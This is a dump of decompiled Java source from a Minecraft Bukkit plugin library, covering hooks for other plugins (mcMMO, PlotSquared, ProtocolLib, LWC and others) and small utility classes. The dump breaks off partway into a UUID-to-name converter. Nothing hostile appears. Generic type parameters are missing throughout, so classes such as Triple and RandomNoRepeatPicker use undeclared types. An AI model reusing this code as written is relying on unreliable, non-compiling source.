| class ItemsAdderHook { 9 | private final Class itemsAdder = ReflectionUtil.lookupClass("dev.lone.itemsadder.api.FontImages.FontImageWrapper"); 10 | private final Method replaceFontImagesMethod; 11 | private final Method replaceFontImagesMethodNoPlayer; 12 | 13 | ItemsAdderHook() { 14 | this.replaceFontImagesMethod = ReflectionUtil.getDeclaredMethod(this.itemsAdder, "replaceFontImages", new Class[]{Player.class, String.class}); 15 | this.replaceFontImagesMethodNoPlayer = ReflectionUtil.getDeclaredMethod(this.itemsAdder, "replaceFontImages", new Class[]{String.class}); 16 | } 17 | 18 | String replaceFontImages(@Nullable Player player, String message) { 19 | return player == null ? (String)ReflectionUtil.invokeStatic(this.replaceFontImagesMethodNoPlayer, new Object[]{message}) : (String)ReflectionUtil.invokeStatic(this.replaceFontImagesMethod, new Object[]{player, message}); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/LWCHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.griefcraft.lwc.LWC; 4 | import com.griefcraft.model.Protection; 5 | import java.util.UUID; 6 | import me.ego.ezbd.lib.fo.remain.Remain; 7 | import org.bukkit.OfflinePlayer; 8 | import org.bukkit.block.Block; 9 | 10 | class LWCHook { 11 | LWCHook() { 12 | } 13 | 14 | String getOwner(Block block) { 15 | if (!LWC.ENABLED) { 16 | return null; 17 | } else { 18 | Protection protection = LWC.getInstance().findProtection(block); 19 | if (protection != null) { 20 | String uuid = protection.getOwner(); 21 | if (uuid != null) { 22 | OfflinePlayer opl = Remain.getOfflinePlayerByUUID(UUID.fromString(uuid)); 23 | if (opl != null) { 24 | return opl.getName(); 25 | } 26 | } 27 | } 28 | 29 | return null; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/LandsHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collection; 5 | import me.angeschossen.lands.api.integration.LandsIntegration; 6 | import me.angeschossen.lands.api.land.Land; 7 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 8 | import org.bukkit.entity.Player; 9 | 10 | class LandsHook { 11 | private final LandsIntegration lands = new LandsIntegration(SimplePlugin.getInstance()); 12 | 13 | LandsHook() { 14 | } 15 | 16 | Collection getLandPlayers(Player player) { 17 | Land land = this.lands.getLand(player.getLocation()); 18 | return (Collection)(land != null ? land.getOnlinePlayers() : new ArrayList()); 19 | } 20 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/LimitedQueue.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.google.common.collect.ForwardingQueue; 4 | import java.util.ArrayDeque; 5 | import java.util.Collection; 6 | import java.util.Queue; 7 | 8 | public final class LimitedQueue extends ForwardingQueue { 9 | private final Queue delegate; 10 | private final int capacity; 11 | 12 | public LimitedQueue(int capacity) { 13 | this.delegate = new ArrayDeque(capacity); 14 | this.capacity = capacity; 15 | } 16 | 17 | protected Queue delegate() { 18 | return this.delegate; 19 | } 20 | 21 | public boolean add(E element) { 22 | if (this.size() >= this.capacity) { 23 | this.delegate.poll(); 24 | } 25 | 26 | return this.delegate.add(element); 27 | } 28 | 29 | public boolean addAll(Collection collection) { 30 | return this.standardAddAll(collection); 31 | } 32 | 33 | public boolean offer(E o) { 34 | return this.standardOffer(o); 35 | } 36 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/LiteBansHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import org.bukkit.entity.Player; 4 | 5 | class LiteBansHook { 6 | LiteBansHook() { 7 | } 8 | 9 | boolean isMuted(Player player) { 10 | return false; 11 | } 12 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/LocketteProHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import me.ego.ezbd.lib.fo.ReflectionUtil; 5 | import org.bukkit.block.Block; 6 | import org.bukkit.entity.Player; 7 | 8 | class LocketteProHook { 9 | LocketteProHook() { 10 | } 11 | 12 | boolean isOwner(Block block, Player player) { 13 | Class locketteProAPI = ReflectionUtil.lookupClass("me.crafter.mc.lockettepro.LocketteProAPI"); 14 | Method isProtected = ReflectionUtil.getMethod(locketteProAPI, "isProtected", new Class[]{Block.class}); 15 | Method isOwner = ReflectionUtil.getMethod(locketteProAPI, "isOwner", new Class[]{Block.class, Player.class}); 16 | return (Boolean)ReflectionUtil.invoke(isProtected, (Object)null, new Object[]{block}) ? (Boolean)ReflectionUtil.invoke(isOwner, (Object)null, new Object[]{block, player}) : false; 17 | } 18 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/MVdWPlaceholderHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import me.ego.ezbd.lib.fo.Valid; 7 | import org.bukkit.OfflinePlayer; 8 | import org.bukkit.entity.Player; 9 | 10 | class MVdWPlaceholderHook { 11 | MVdWPlaceholderHook() { 12 | } 13 | 14 | String replacePlaceholders(Player player, String message) { 15 | try { 16 | Class placeholderAPI = ReflectionUtil.lookupClass("be.maximvdw.placeholderapi.PlaceholderAPI"); 17 | Valid.checkNotNull(placeholderAPI, "Failed to look up class be.maximvdw.placeholderapi.PlaceholderAPI"); 18 | Method replacePlaceholders = ReflectionUtil.getMethod(placeholderAPI, "replacePlaceholders", new Class[]{OfflinePlayer.class, String.class}); 19 | Valid.checkNotNull(replacePlaceholders, "Failed to look up method PlaceholderAPI#replacePlaceholders(Player, String)"); 20 | String replaced = (String)ReflectionUtil.invoke(replacePlaceholders, (Object)null, new Object[]{player, message}); 21 | return replaced == null ? "" : replaced; 22 | } catch (IllegalArgumentException var6) { 23 | if (!Common.getOrEmpty(var6.getMessage()).contains("Illegal group reference")) { 24 | var6.printStackTrace(); 25 | } 26 | } catch (Throwable var7) { 27 | Common.error(var7, new String[]{"MvdWPlaceholders placeholders failed!", "Player: " + player.getName(), "Message: '" + message + "'", "Consider writing to developer of that library", "first as this may be a bug we cannot handle!", "", "Your chat message will appear without replacements."}); 28 | } 29 | 30 | return message; 31 | } 32 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/McMMOHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.gmail.nossr50.datatypes.chat.ChatChannel; 4 | import com.gmail.nossr50.datatypes.party.Party; 5 | import com.gmail.nossr50.datatypes.player.McMMOPlayer; 6 | import com.gmail.nossr50.util.player.UserManager; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import me.ego.ezbd.lib.fo.Common; 10 | import org.bukkit.entity.Player; 11 | 12 | class McMMOHook { 13 | private boolean errorLogged = false; 14 | 15 | McMMOHook() { 16 | } 17 | 18 | String getActivePartyChat(Player player) { 19 | try { 20 | McMMOPlayer mcplayer = UserManager.getPlayer(player); 21 | if (mcplayer != null) { 22 | Party party = mcplayer.getParty(); 23 | ChatChannel channelType = mcplayer.getChatChannel(); 24 | return channelType != ChatChannel.PARTY && (channelType != ChatChannel.PARTY_OFFICER || party == null) ? null : party.getName(); 25 | } 26 | } catch (Throwable var5) { 27 | if (!this.errorLogged) { 28 | Common.log(new String[]{"&cWarning: &fFailed getting mcMMO party chat for " + player.getName() + " due to error. Returning null. Ensure you have the latest mcMMO version, if so, contact plugin authors to update the integration. Error was: " + var5}); 29 | this.errorLogged = true; 30 | } 31 | } 32 | 33 | return null; 34 | } 35 | 36 | List getPartyRecipients(Player bukkitPlayer) { 37 | try { 38 | McMMOPlayer mcplayer = UserManager.getPlayer(bukkitPlayer); 39 | if (mcplayer != null) { 40 | Party party = mcplayer.getParty(); 41 | if (party != null) { 42 | return party.getOnlineMembers(); 43 | } 44 | } 45 | } catch (Throwable var4) { 46 | if (!this.errorLogged) { 47 | Common.log(new String[]{"&cWarning: &fFailed getting mcMMO party recipients for " + bukkitPlayer.getName() + " due to error. Returning null. Ensure you have the latest mcMMO version, if so, contact plugin authors to update the integration. Error was: " + var4}); 48 | this.errorLogged = true; 49 | } 50 | } 51 | 52 | return new ArrayList(); 53 | } 54 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/MultiverseHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.onarandombox.MultiverseCore.MultiverseCore; 4 | import com.onarandombox.MultiverseCore.api.MultiverseWorld; 5 | import org.bukkit.Bukkit; 6 | 7 | class MultiverseHook { 8 | private final MultiverseCore multiVerse = (MultiverseCore)Bukkit.getPluginManager().getPlugin("Multiverse-Core"); 9 | 10 | MultiverseHook() { 11 | } 12 | 13 | String getWorldAlias(String world) { 14 | MultiverseWorld mvWorld = this.multiVerse.getMVWorldManager().getMVWorld(world); 15 | return mvWorld != null ? mvWorld.getColoredWorldString() : world; 16 | } 17 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/MysthicMobsHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.NoSuchElementException; 4 | import java.util.Optional; 5 | import java.util.UUID; 6 | import me.ego.ezbd.lib.fo.ReflectionUtil; 7 | import org.bukkit.entity.Entity; 8 | 9 | class MythicMobsHook { 10 | MythicMobsHook() { 11 | } 12 | 13 | final String getBossName(Entity entity) { 14 | try { 15 | Class mythicMobs = ReflectionUtil.lookupClass("io.lumine.xikage.mythicmobs.MythicMobs"); 16 | Object instance = ReflectionUtil.invokeStatic(mythicMobs, "inst", new Object[0]); 17 | Object mobManager = ReflectionUtil.invoke("getMobManager", instance, new Object[0]); 18 | Optional activeMob = (Optional)ReflectionUtil.invoke(ReflectionUtil.getMethod(mobManager.getClass(), "getActiveMob", new Class[]{UUID.class}), mobManager, new Object[]{entity.getUniqueId()}); 19 | Object mob = activeMob != null && activeMob.isPresent() ? activeMob.get() : null; 20 | if (mob != null) { 21 | Object mythicEntity = ReflectionUtil.invoke("getEntity", mob, new Object[0]); 22 | if (mythicEntity != null) { 23 | return (String)ReflectionUtil.invoke("getName", mythicEntity, new Object[0]); 24 | } 25 | } 26 | } catch (NoSuchElementException var8) { 27 | } 28 | 29 | return null; 30 | } 31 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/NickyHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.Method; 5 | import me.ego.ezbd.lib.fo.ReflectionUtil; 6 | import org.bukkit.entity.Player; 7 | 8 | class NickyHook { 9 | NickyHook() { 10 | } 11 | 12 | String getNick(Player player) { 13 | Constructor nickConstructor = ReflectionUtil.getConstructor("io.loyloy.nicky.Nick", new Class[]{Player.class}); 14 | Object nick = ReflectionUtil.instantiate(nickConstructor, new Object[]{player}); 15 | String nickname = (String)ReflectionUtil.invoke("get", nick, new Object[0]); 16 | if (nickname != null) { 17 | Method formatMethod = ReflectionUtil.getMethod(nick.getClass(), "format", new Class[]{String.class}); 18 | if (formatMethod != null) { 19 | nickname = (String)ReflectionUtil.invoke(formatMethod, nick, new Object[]{nickname}); 20 | } 21 | } 22 | 23 | return nickname != null && !nickname.isEmpty() ? nickname : null; 24 | } 25 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/PlotSquaredHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.lang.reflect.Method; 4 | import java.util.ArrayList; 5 | import java.util.Iterator; 6 | import java.util.List; 7 | import java.util.UUID; 8 | import me.ego.ezbd.lib.fo.ReflectionUtil; 9 | import me.ego.ezbd.lib.fo.Valid; 10 | import org.bukkit.Bukkit; 11 | import org.bukkit.entity.Player; 12 | import org.bukkit.plugin.Plugin; 13 | 14 | class PlotSquaredHook { 15 | private final boolean legacy; 16 | 17 | PlotSquaredHook() { 18 | Plugin plugin = Bukkit.getPluginManager().getPlugin("PlotSquared"); 19 | Valid.checkNotNull(plugin, "PlotSquared not hooked yet!"); 20 | this.legacy = plugin.getDescription().getVersion().startsWith("3"); 21 | } 22 | 23 | List getPlotPlayers(Player player) { 24 | List players = new ArrayList(); 25 | Class plotPlayerClass = ReflectionUtil.lookupClass((this.legacy ? "com.intellectualcrafters.plot.object" : "com.plotsquared.core.player") + ".PlotPlayer"); 26 | 27 | Method wrap; 28 | try { 29 | wrap = plotPlayerClass.getMethod("wrap", Player.class); 30 | } catch (ReflectiveOperationException var12) { 31 | try { 32 | wrap = plotPlayerClass.getMethod("wrap", Object.class); 33 | } catch (ReflectiveOperationException var11) { 34 | throw new NullPointerException("PlotSquared could not convert " + player.getName() + " into PlotPlayer! Is the integration outdated?"); 35 | } 36 | } 37 | 38 | Object plotPlayer = ReflectionUtil.invokeStatic(wrap, new Object[]{player}); 39 | Valid.checkNotNull(plotPlayer, "Failed to convert player " + player.getName() + " to PlotPlayer!"); 40 | Object currentPlot = ReflectionUtil.invoke("getCurrentPlot", plotPlayer, new Object[0]); 41 | if (currentPlot != null) { 42 | Iterator var7 = ((Iterable)ReflectionUtil.invoke("getPlayersInPlot", currentPlot, new Object[0])).iterator(); 43 | 44 | while(var7.hasNext()) { 45 | Object playerInPlot = var7.next(); 46 | UUID id = (UUID)ReflectionUtil.invoke("getUUID", playerInPlot, new Object[0]); 47 | Player online = Bukkit.getPlayer(id); 48 | if (online != null && online.isOnline()) { 49 | players.add(online); 50 | } 51 | } 52 | } 53 | 54 | return players; 55 | } 56 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/ProtocolLibHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.comphenix.protocol.ProtocolLibrary; 4 | import com.comphenix.protocol.ProtocolManager; 5 | import com.comphenix.protocol.events.PacketContainer; 6 | import com.comphenix.protocol.events.PacketListener; 7 | import com.comphenix.protocol.injector.server.TemporaryPlayer; 8 | import java.lang.reflect.InvocationTargetException; 9 | import java.util.Iterator; 10 | import me.ego.ezbd.lib.fo.Common; 11 | import me.ego.ezbd.lib.fo.Valid; 12 | import me.ego.ezbd.lib.fo.remain.Remain; 13 | import org.bukkit.entity.Player; 14 | import org.bukkit.plugin.Plugin; 15 | 16 | class ProtocolLibHook { 17 | private final ProtocolManager manager = ProtocolLibrary.getProtocolManager(); 18 | 19 | ProtocolLibHook() { 20 | } 21 | 22 | final void addPacketListener(Object listener) { 23 | Valid.checkBoolean(listener instanceof PacketListener, "Listener must extend or implements PacketListener or PacketAdapter", new Object[0]); 24 | 25 | try { 26 | this.manager.addPacketListener((PacketListener)listener); 27 | } catch (Throwable var3) { 28 | Common.error(var3, new String[]{"Failed to register ProtocolLib packet listener! Ensure you have the latest ProtocolLib. If you reloaded, try a fresh startup (some ProtocolLib esp. for 1.8.8 fails on reload)."}); 29 | } 30 | 31 | } 32 | 33 | final void removePacketListeners(Plugin plugin) { 34 | this.manager.removePacketListeners(plugin); 35 | } 36 | 37 | final void sendPacket(PacketContainer packet) { 38 | Iterator var2 = Remain.getOnlinePlayers().iterator(); 39 | 40 | while(var2.hasNext()) { 41 | Player player = (Player)var2.next(); 42 | this.sendPacket(player, packet); 43 | } 44 | 45 | } 46 | 47 | final void sendPacket(Player player, Object packet) { 48 | Valid.checkNotNull(player); 49 | Valid.checkBoolean(packet instanceof PacketContainer, "Packet must be instance of PacketContainer from ProtocolLib", new Object[0]); 50 | 51 | try { 52 | this.manager.sendServerPacket(player, (PacketContainer)packet); 53 | } catch (InvocationTargetException var4) { 54 | Common.error(var4, new String[]{"Failed to send " + ((PacketContainer)packet).getType() + " packet to " + player.getName()}); 55 | } 56 | 57 | } 58 | 59 | final boolean isTemporaryPlayer(Player player) { 60 | try { 61 | return player instanceof TemporaryPlayer; 62 | } catch (NoClassDefFoundError var3) { 63 | return false; 64 | } 65 | } 66 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/RandomNoRepeatPicker.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Iterator; 5 | import java.util.List; 6 | import java.util.function.BiFunction; 7 | import me.ego.ezbd.lib.fo.Common; 8 | import me.ego.ezbd.lib.fo.RandomUtil; 9 | import me.ego.ezbd.lib.fo.Valid; 10 | import org.bukkit.entity.Player; 11 | 12 | public abstract class RandomNoRepeatPicker { 13 | private final List list = new ArrayList(); 14 | 15 | public RandomNoRepeatPicker() { 16 | } 17 | 18 | public void setItems(Iterable list) { 19 | Valid.checkBoolean(list != null && list.iterator().hasNext(), "Cannot set items to an empty list!", new Object[0]); 20 | this.list.clear(); 21 | this.list.addAll(Common.toList(list)); 22 | } 23 | 24 | public boolean isEmpty() { 25 | return this.list.isEmpty(); 26 | } 27 | 28 | public T pickFrom(Iterable items) { 29 | return this.pickFromFor(items, (Player)null); 30 | } 31 | 32 | public T pickFromFor(Iterable items, Player player) { 33 | Iterator var3 = items.iterator(); 34 | 35 | while(var3.hasNext()) { 36 | T item = var3.next(); 37 | this.list.add(item); 38 | } 39 | 40 | return this.pickRandom(player); 41 | } 42 | 43 | public T pickRandom() { 44 | return this.pickRandom((Player)null); 45 | } 46 | 47 | public T pickRandom(Player player) { 48 | if (this.list.isEmpty()) { 49 | return null; 50 | } else { 51 | Object picked; 52 | do { 53 | if (this.list.isEmpty()) { 54 | return null; 55 | } 56 | 57 | picked = this.list.remove(RandomUtil.nextInt(this.list.size())); 58 | } while(picked == null || !this.canObtain(player, picked)); 59 | 60 | return picked; 61 | } 62 | } 63 | 64 | protected abstract boolean canObtain(Player var1, T var2); 65 | 66 | public static final RandomNoRepeatPicker newPicker(Class pickedType) { 67 | return newPicker((player, type) -> { 68 | return true; 69 | }); 70 | } 71 | 72 | public static final RandomNoRepeatPicker newPicker(final BiFunction canObtain) { 73 | return new RandomNoRepeatPicker() { 74 | protected boolean canObtain(Player player, T picked) { 75 | return (Boolean)canObtain.apply(player, picked); 76 | } 77 | }; 78 | } 79 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/RangedRandomValue.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import me.ego.ezbd.lib.fo.RandomUtil; 4 | import me.ego.ezbd.lib.fo.Valid; 5 | 6 | public final class RangedRandomValue extends RangedValue { 7 | public RangedRandomValue(int value) { 8 | this(value, value); 9 | } 10 | 11 | public RangedRandomValue(int min, int max) { 12 | super(min, max); 13 | Valid.checkBoolean(min >= 0 && max >= 0, "Values may not be negative", new Object[0]); 14 | Valid.checkBoolean(min <= max, "Minimum must be lower or equal maximum", new Object[0]); 15 | } 16 | 17 | public static RangedRandomValue parse(String line) { 18 | RangedValue random = RangedValue.parse(line); 19 | return new RangedRandomValue(random.getMinInt(), random.getMaxInt()); 20 | } 21 | 22 | public int getRandom() { 23 | return RandomUtil.nextBetween(this.getMinInt(), this.getMaxInt()); 24 | } 25 | 26 | public boolean isInRange(int value) { 27 | return value >= this.getMinInt() && value <= this.getMaxInt(); 28 | } 29 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/RangedValue.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import me.ego.ezbd.lib.fo.TimeUtil; 4 | import me.ego.ezbd.lib.fo.Valid; 5 | import org.apache.commons.lang.math.NumberUtils; 6 | 7 | public class RangedValue { 8 | private final Number min; 9 | private final Number max; 10 | 11 | public RangedValue(Number value) { 12 | this(value, value); 13 | } 14 | 15 | public RangedValue(Number min, Number max) { 16 | Valid.checkBoolean(min.longValue() >= 0L && max.longValue() >= 0L, "Values may not be negative", new Object[0]); 17 | Valid.checkBoolean(min.longValue() <= max.longValue(), "Minimum must be lower or equal maximum", new Object[0]); 18 | this.min = min; 19 | this.max = max; 20 | } 21 | 22 | public final int getMinInt() { 23 | return this.min.intValue(); 24 | } 25 | 26 | public final int getMaxInt() { 27 | return this.max.intValue(); 28 | } 29 | 30 | public final long getMinLong() { 31 | return this.min.longValue(); 32 | } 33 | 34 | public final long getMaxLong() { 35 | return this.max.longValue(); 36 | } 37 | 38 | public boolean isWithin(Number value) { 39 | return value.longValue() >= this.min.longValue() && value.longValue() <= this.max.longValue(); 40 | } 41 | 42 | public final boolean isStatic() { 43 | return this.min == this.max; 44 | } 45 | 46 | public final String toLine() { 47 | return this.min + " - " + this.max; 48 | } 49 | 50 | public static RangedValue parse(String line) { 51 | line = line.replace(" ", ""); 52 | String[] parts = line.split("\\-"); 53 | Valid.checkBoolean(parts.length == 1 || parts.length == 2, "Malformed value " + line, new Object[0]); 54 | String first = parts[0]; 55 | Integer min = NumberUtils.isNumber(first) ? Integer.parseInt(first) : (int)(TimeUtil.toTicks(first) / 20L); 56 | String second = parts.length == 2 ? parts[1] : ""; 57 | Integer max = parts.length == 2 ? (NumberUtils.isNumber(second) ? Integer.parseInt(second) : (int)(TimeUtil.toTicks(second) / 20L)) : min; 58 | Valid.checkBoolean(min != null && max != null, "Malformed value " + line, new Object[0]); 59 | return new RangedValue(min, max); 60 | } 61 | 62 | public final String toString() { 63 | return this.isStatic() ? this.min + "" : this.min + " - " + this.max; 64 | } 65 | 66 | public Number getMin() { 67 | return this.min; 68 | } 69 | 70 | public Number getMax() { 71 | return this.max; 72 | } 73 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/RegionAccessor.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.io.File; 4 | import java.lang.reflect.Constructor; 5 | import java.lang.reflect.Method; 6 | import me.ego.ezbd.lib.fo.MinecraftVersion; 7 | import me.ego.ezbd.lib.fo.ReflectionUtil; 8 | import me.ego.ezbd.lib.fo.MinecraftVersion.V; 9 | import me.ego.ezbd.lib.fo.ReflectionUtil.ReflectionException; 10 | import me.ego.ezbd.lib.fo.remain.Remain; 11 | import org.bukkit.Bukkit; 12 | 13 | class RegionAccessor { 14 | private static Constructor regionFileConstructor; 15 | private static Method isChunkSaved; 16 | private static boolean atleast1_13; 17 | private static boolean atleast1_14; 18 | private static boolean atleast1_15; 19 | private static boolean atleast1_16; 20 | private static final String saveMethodName; 21 | 22 | RegionAccessor() { 23 | } 24 | 25 | static Object getRegionFile(String worldName, File file) { 26 | try { 27 | File container = new File(Bukkit.getWorldContainer(), worldName); 28 | return atleast1_16 ? regionFileConstructor.newInstance(file, container, true) : (atleast1_15 ? regionFileConstructor.newInstance(file, container) : regionFileConstructor.newInstance(file)); 29 | } catch (Throwable var3) { 30 | throw new RuntimeException("Could not create region file from " + file, var3); 31 | } 32 | } 33 | 34 | static boolean isChunkSaved(Object region, int x, int z) { 35 | try { 36 | if (MinecraftVersion.newerThan(V.v1_13)) { 37 | Object chunkCoordinates = ReflectionUtil.getNMSClass("ChunkCoordIntPair").getConstructor(Integer.TYPE, Integer.TYPE).newInstance(x, z); 38 | return (Boolean)isChunkSaved.invoke(region, chunkCoordinates); 39 | } else { 40 | return (Boolean)isChunkSaved.invoke(region, x, z); 41 | } 42 | } catch (ReflectiveOperationException var4) { 43 | throw new ReflectionException("Could not find if region file " + region + " has chunk at " + x + " " + z, var4); 44 | } 45 | } 46 | 47 | static void save(Object region) { 48 | try { 49 | region.getClass().getDeclaredMethod(saveMethodName).invoke(region); 50 | } catch (ReflectiveOperationException var2) { 51 | throw new ReflectionException("Error saving region " + region, var2); 52 | } 53 | } 54 | 55 | static { 56 | atleast1_13 = MinecraftVersion.atLeast(V.v1_13); 57 | atleast1_14 = MinecraftVersion.atLeast(V.v1_14); 58 | atleast1_15 = MinecraftVersion.atLeast(V.v1_15); 59 | atleast1_16 = MinecraftVersion.atLeast(V.v1_16); 60 | saveMethodName = atleast1_13 ? "close" : "c"; 61 | 62 | try { 63 | Class regionFileClass = ReflectionUtil.getNMSClass("RegionFile"); 64 | regionFileConstructor = atleast1_16 ? regionFileClass.getConstructor(File.class, File.class, Boolean.TYPE) : (atleast1_15 ? regionFileClass.getConstructor(File.class, File.class) : regionFileClass.getConstructor(File.class)); 65 | isChunkSaved = atleast1_14 ? regionFileClass.getMethod("b", ReflectionUtil.getNMSClass("ChunkCoordIntPair")) : regionFileClass.getMethod(atleast1_13 ? "b" : "c", Integer.TYPE, Integer.TYPE); 66 | } catch (ReflectiveOperationException var1) { 67 | Remain.sneaky(var1); 68 | } 69 | 70 | } 71 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/ResidenceHook.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.bekvon.bukkit.residence.Residence; 4 | import com.bekvon.bukkit.residence.protection.ClaimedResidence; 5 | import java.util.Collection; 6 | import org.bukkit.Location; 7 | 8 | class ResidenceHook { 9 | ResidenceHook() { 10 | } 11 | 12 | public Collection getResidences() { 13 | return Residence.getInstance().getResidenceManager().getResidences().keySet(); 14 | } 15 | 16 | public String getResidence(Location loc) { 17 | ClaimedResidence res = Residence.getInstance().getResidenceManager().getByLoc(loc); 18 | return res != null ? res.getName() : null; 19 | } 20 | 21 | public String getResidenceOwner(Location loc) { 22 | ClaimedResidence res = Residence.getInstance().getResidenceManager().getByLoc(loc); 23 | return res != null ? res.getOwner() : null; 24 | } 25 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/Rule.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import java.io.File; 4 | 5 | public interface Rule { 6 | String getUid(); 7 | 8 | File getFile(); 9 | 10 | boolean onOperatorParse(String[] var1); 11 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/SimpleEnchant.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import org.bukkit.enchantments.Enchantment; 4 | 5 | public final class SimpleEnchant { 6 | private final Enchantment enchant; 7 | private final int level; 8 | 9 | public SimpleEnchant(Enchantment enchant) { 10 | this(enchant, 1); 11 | } 12 | 13 | public Enchantment getEnchant() { 14 | return this.enchant; 15 | } 16 | 17 | public int getLevel() { 18 | return this.level; 19 | } 20 | 21 | public SimpleEnchant(Enchantment enchant, int level) { 22 | this.enchant = enchant; 23 | this.level = level; 24 | } 25 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/SimpleExpansion.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import lombok.NonNull; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import org.bukkit.command.CommandSender; 6 | 7 | public abstract class SimpleExpansion { 8 | protected static final String NO_REPLACE = null; 9 | protected String[] args; 10 | 11 | public SimpleExpansion() { 12 | } 13 | 14 | public final String replacePlaceholders(CommandSender sender, String params) { 15 | this.args = params.split("\\_"); 16 | return this.onReplace(sender, params); 17 | } 18 | 19 | protected abstract String onReplace(@NonNull CommandSender var1, String var2); 20 | 21 | protected final String join(int startIndex) { 22 | return Common.joinRange(startIndex, this.args); 23 | } 24 | 25 | protected final String join(int startIndex, int stopIndex) { 26 | return Common.joinRange(startIndex, stopIndex, this.args); 27 | } 28 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/SimpleTime.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import lombok.NonNull; 4 | import me.ego.ezbd.lib.fo.TimeUtil; 5 | 6 | public class SimpleTime { 7 | private final String raw; 8 | private final long timeTicks; 9 | 10 | protected SimpleTime(@NonNull String time) { 11 | if (time == null) { 12 | throw new NullPointerException("time is marked non-null but is null"); 13 | } else { 14 | if (!"0".equals(time) && !"none".equalsIgnoreCase(time)) { 15 | this.raw = time; 16 | this.timeTicks = TimeUtil.toTicks(time); 17 | } else { 18 | this.raw = "0"; 19 | this.timeTicks = 0L; 20 | } 21 | 22 | } 23 | } 24 | 25 | public static SimpleTime fromSeconds(int seconds) { 26 | return from(seconds + " seconds"); 27 | } 28 | 29 | public static SimpleTime from(String time) { 30 | return new SimpleTime(time); 31 | } 32 | 33 | public long getTimeSeconds() { 34 | return this.timeTicks / 20L; 35 | } 36 | 37 | public int getTimeTicks() { 38 | return (int)this.timeTicks; 39 | } 40 | 41 | public String getRaw() { 42 | return this.timeTicks == 0L ? "0" : this.raw; 43 | } 44 | 45 | public String toString() { 46 | return this.raw; 47 | } 48 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/Triple.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | public class Triple { 4 | private final A first; 5 | private final B second; 6 | private final C third; 7 | 8 | public A getFirst() { 9 | return this.first; 10 | } 11 | 12 | public B getSecond() { 13 | return this.second; 14 | } 15 | 16 | public C getThird() { 17 | return this.third; 18 | } 19 | 20 | public Triple(A first, B second, C third) { 21 | this.first = first; 22 | this.second = second; 23 | this.third = third; 24 | } 25 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/model/UUIDToNameConverter.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.model; 2 | 3 | import com.google.gson.Gson; 4 | import com.google.gson.JsonObject; 5 | import java.io.InputStreamReader; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | import java.util.UUID; 9 | import java.util.concurrent.Callable; 10 | 11 | public class UUIDToNameConverter implements Callable { 12 | private static final String 